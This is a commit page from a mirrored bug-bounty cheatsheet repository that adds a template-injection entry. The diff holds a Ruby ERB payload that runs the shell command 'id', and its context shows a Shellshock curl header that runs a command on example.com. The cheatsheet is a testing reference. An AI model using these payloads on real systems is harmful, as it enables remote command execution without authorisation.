mirror of
https://github.com/EdOverflow/bugbounty-cheatsheet.git
synced 2024-11-21 18:53:01 +00:00
Add template injection.
This commit is contained in:
parent
f1a044b6b6
commit
1fd1c34ea5
3 changed files with 11 additions and 1 deletions
|
@ -9,6 +9,7 @@
|
|||
- [RCE](cheatsheets/rce.md)
|
||||
- [Open Redirect](cheatsheets/open-redirect.md)
|
||||
- [Crypto](cheatsheets/crypto.md)
|
||||
- [Template Injection](cheatsheets/template-injection.md)
|
||||
- [Content Injection](cheatsheets/content-injection.md)
|
||||
|
||||
# Contributors
|
||||
|
|
7
cheatsheets/template-injection.md
Normal file
7
cheatsheets/template-injection.md
Normal file
|
@ -0,0 +1,7 @@
|
|||
## Template Injection
|
||||
|
||||
**Ruby**
|
||||
|
||||
```ruby
|
||||
<%=`id`%>
|
||||
```
|
|
@ -89,4 +89,6 @@ curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/
|
|||
|
||||
012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234
|
||||
|
||||
0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345
|
||||
0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345
|
||||
|
||||
<%=`id`%>
|
Loading…
Reference in a new issue